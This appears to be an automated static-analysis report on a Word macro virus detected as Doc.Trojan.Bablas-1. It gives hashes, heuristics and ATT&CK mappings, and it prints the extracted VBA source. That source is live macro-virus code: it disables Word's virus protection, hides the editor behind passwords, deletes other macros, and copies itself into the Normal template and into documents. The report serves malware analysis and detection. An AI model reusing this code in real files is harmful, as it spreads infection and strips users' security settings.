Doc.Trojan.Bablas-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 2f2d5007040eb8ac…

MALICIOUS

Office (OLE)

35.5 KB Created: 2001-04-24 21:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dd99ebec7e269fc7d8e864585532c841 SHA-1: e182b554bb63ac350297c90e0bcab8b1fad1c742 SHA-256: 2f2d5007040eb8acd2f51705deea79d7d22d6fc59df283013722ed954da0c2ba
260 Risk Score

Malware Insights

Doc.Trojan.Bablas-1 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing a document. The 'ToolsMacro' subroutine attempts to disable macro security and prompts the user for a password, suggesting an attempt to bypass security measures and execute further payloads. The ClamAV detection as 'Doc.Trojan.Bablas-1' strongly indicates malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Bablas-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bablas-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5597 bytes
SHA-256: bd14ce8a6cf25d57b37ca384f9c683f89bd280e6fdc6ff912142008cbbf5e57b
Detection
ClamAV: Doc.Trojan.Bablas-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SANTO"
'lucu...lucu..ha..ha..ha..
'iiq jatuh cinta lagi.....
'ha..ha..ha..


Sub ShowMessage()
    H = Time
    If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    For I = 1 To 300
    Beep
    Next I
        H = MsgBox("tau gak ceritanya kan gini waktu ntu gue ketemu" & Chr(34) & _
    "swear!" & Chr(34) & "," & Chr(13) & "die cuantik buanget ampir2 ngalahin madonna" & Chr(13) & _
    "ech..dia ngajak kenalan ke aku" & Chr(13) & _
    "yah..gue mah oke aja..trus ya udah berjalan seperti biasa" & Chr(13) & Chr(13) & "biasanya orang pacaran gimana seh" & _
    Chr(13) & "(ech..temen-temen do'ain gue yach..ok!)", vbOKOnly + vbExclamation, "ha..ha..IIQ lagi jatuh cintrong bro' ^_^")
    End If
    End Sub

Sub Terobos()
Attribute Terobos.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Terobos.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    If InputBox("Masukin Kata Sandinya..!", "IIQ Lagi Jatuh Cintrong Bo' ^_^") = "IIQ NU KASEP THEA" Then Application.ShowVisualBasicEditor = True
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("Ochang Euy..." & Chr(13) & Chr(13) & _
    "Gue enggak mao komputer gue ERROR, but maapin gue", vbOKOnly + vbExclamation, "Santo Anthonius ")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Terobos
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "ha..ha..gue lagi jatuh cintrong bro...^_^"
    ActiveWindow.Caption = "(he..he..he..)"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "Santo Anthonius ") = "*ArrA*" Then Application.ShowVisualBasicEditor = True
End Sub

Sub TimpahDokumen()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "SANTO" Then DocOk = True
        If Obj.Name <> "SANTO" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Copying Santo Anthonius  From Normal Template to " _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="SANTO", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub TimpahTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "SANTO" Then NorOk = True
        If Obj.Name <> "SANTO" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Copying Santo Anthonius  From " + ActiveDocument.Name + _
        " to Normal Template..."
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:
... (truncated)